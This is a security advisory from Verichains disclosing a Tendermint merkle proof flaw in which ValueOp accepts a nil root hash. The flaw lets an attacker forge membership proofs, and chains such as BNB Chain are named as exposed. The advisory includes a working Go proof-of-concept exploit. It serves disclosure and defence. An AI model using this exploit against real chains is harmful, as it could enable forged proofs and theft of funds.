[VSA-2022-100] Tendermint: Forging Membership Proof of Empty Merkle Tree Vulnerability in IAVL Proof

Verichains discovered critical vulnerabilities in Tendermint that could have resulted in a significant loss of funds from projects using IAVL proof validation.

Mar 01, 2023

This advisory highlights a critical vulnerability discovered by Verichains in Tendermint library that could have enabled an attacker to steal assets from projects using its IAVL proof verification, such as BNB Chain, potentially causing significant financial losses.

We privately disclosed this issue to Tendermint/Cosmos maintainer in early October 2022. Although the Tendermint/Cosmos maintainers acknowledged the vulnerabilities, they chose not to release a patch in the Tendermint library, as IBC and Cosmos-SDK implementation had already migrated to ICS-23 from IAVL merkle proof verification.

In our opinion, even though it does not affect the latest implementation of Cosmos/IBC chains, the bug should be fixed in the Tendermint library since it is being used by other projects, such as BNB Chain. In case the vulnerable code is obsolete, it should be removed from the Tendermint library.

To ensure Tendermint library users are aware of the issue and fix it, we decided to release this advisory to the public after waiting for 120 days following our vulnerability disclosure policy. We urge all projects still using Tendermint's IAVL proof verification to take necessary measures to secure their assets and mitigate the risk of exploitation.

Summary

The Tendermint's Core library (https://github.com/tendermint/tendermint/) contains a dedicated module named `merkle` for handling Merkle proofs. Its proof operator `ValueOp`, after verifying a key-value pair input, returns a nil root hash instead of raising an error in unexpected situations (e.g. a tree has a negative number of nodes).

As a result, an attacker can forge membership proofs for arbitrary key-value pairs if a root hash of an empty Merkle tree is declared as nil (very likely to happen since nil is the default value for an uninitialized byte slice in Golang).

Analysis

The proof operator `ValueOp` is implemented at (merkle/proof_value.go). When running, it first hashes the input key-value pair, then compares the hash result with the leaf hash in the proof it currently executes (merkle/proof_value.go, line 92-94):

------------------------------------------------------------------------
 77    func (op ValueOp) Run(args [][]byte) ([][]byte, error) {
...
 92        if !bytes.Equal(kvhash, op.Proof.LeafHash) {
 93            return nil, fmt.Errorf("leaf hash mismatch: want %X got
   %X", op.Proof.LeafHash, kvhash)
 94        }

If this check passes, it simply returns the root hash computed from the proof (line 96-98):

 96        return [][]byte{
 97            op.Proof.ComputeRootHash(),
 98        }, nil

The function `ComputeRootHash` is a wrapper for `computeHashFromAunts` (merkle/proof.go, line 71-78):

 71    func (sp *Proof) ComputeRootHash() []byte {
 72        return computeHashFromAunts(
 73            sp.Index,
 74            sp.Total,
 75            sp.LeafHash,
 76            sp.Aunts,
 77        )
 78    }

And this function returns a nil byte slice whenever it catches an error (merkle/proof.go, line 152-154, 159-161, 164-166, 170-172, 176-178):

151    func computeHashFromAunts(index, total int64, leafHash []byte,
   innerHashes [][]byte) []byte {
152        if index >= total || index < 0 || total <= 0 {
153            return nil
154        }
...
159            if len(innerHashes) != 0 {
160                return nil
161            }
...
164            if len(innerHashes) == 0 {
165                return nil
166            }
...
170                if leftHash == nil {
171                    return nil
172                }
...
176                if rightHash == nil {
177                    return nil
178                }
...
181    }

As a result, the error is ignored, and `ValueOp.Run` returns a nil root hash together with a nil error, indicating that the proof is valid.

Exploitation

The exploitation is straight-forward: simply set the leaf hash of a proof to be the hash value of our chosen key-value pair and leave other proof parameters as default to trigger the nil return of `computeHashFromAunts` at its first check (merkle/proof.go, line 152-154).

Here's a PoC demonstrating the attack:

  1    package main
  2    
  3    import (
  4        "bytes"
  5        goanimo "github.com/tendermint/go-amino"
  6        "github.com/tendermint/tendermint/crypto/merkle"
  7        "github.com/tendermint/tendermint/crypto/tmhash"
  8        "log"
  9    )
 10    
 11    func main() {
 12        // a fake key-value pair and its hash
 13        key := []byte{0x13}
 14        value := []byte{0x37}
 15        vhash := tmhash.Sum(value)
 16        bz := new(bytes.Buffer)
 17        _ = goanimo.EncodeByteSlice(bz, key)
 18        _ = goanimo.EncodeByteSlice(bz, vhash)
 19        kvhash := tmhash.Sum(append([]byte{0}, bz.Bytes()...))
 20    
 21        // the malicious `op`
 22        op := merkle.NewValueOp(
 23            key,
 24            &merkle.Proof{LeafHash: kvhash},
 25        )
 26    
 27        // the nil root
 28        var root []byte
 29    
 30        // should return nil (successfully verified)
 31        log.Println(merkle.ProofOperators{op}.Verify(root,
   "/"+string(key), [][]byte{value}))
 32    }

Affected Products

Tendermint (All versions)
- https://github.com/tendermint/tendermint
BNB Chain and any other projects using Tendermint’s IAVL merkle proof verification

Timeline

Oct 11, 2022: Report privately to the BNB Chain team
Oct 12, 2022: Report privately to Tendermint / Cosmos maintainers
Feb 28, 2023: Public release

==============

About Verichains

Since 2017, Verichains has been a pioneer and leading blockchain security firm in APAC, with extensive expertise in security, cryptography and core blockchain technology. More than 200 clients trust us with $50 billion in assets under protection, including several high-profile clients such as BNB Chain, Klaytn, Wemix, Multichain, Line Corp, Axie Infinity, Ronin Network, and Kyber Network.

Our world-class security and cryptography research team have found several vulnerabilities in layer-1 protocol, crypto library, bridge, and smart contracts. We are also proud to be the firm that helped to investigate, root cause analysis, and fix security issues in the two largest global crypto hacks: BNB Chain Bridge and Ronin Bridge (Sky Mavis).

With the in-depth research and development of blockchain technology, Verichains provides blockchain security services such as blockchain protocol and smart contract security audit, mobile application protection, key management solution, on-chain risk monitoring, and red team/penetration testing services.

Homepage: https://www.verichains.io

Email: info@verichains.io

Twitter: https://twitter.com/Verichains

Linkedin: https://www.linkedin.com/company/verichains

Facebook: https://facebook.com/verichains

Telegram: https://t.me/+Y29xcaxJLJxjNDVl

Verichains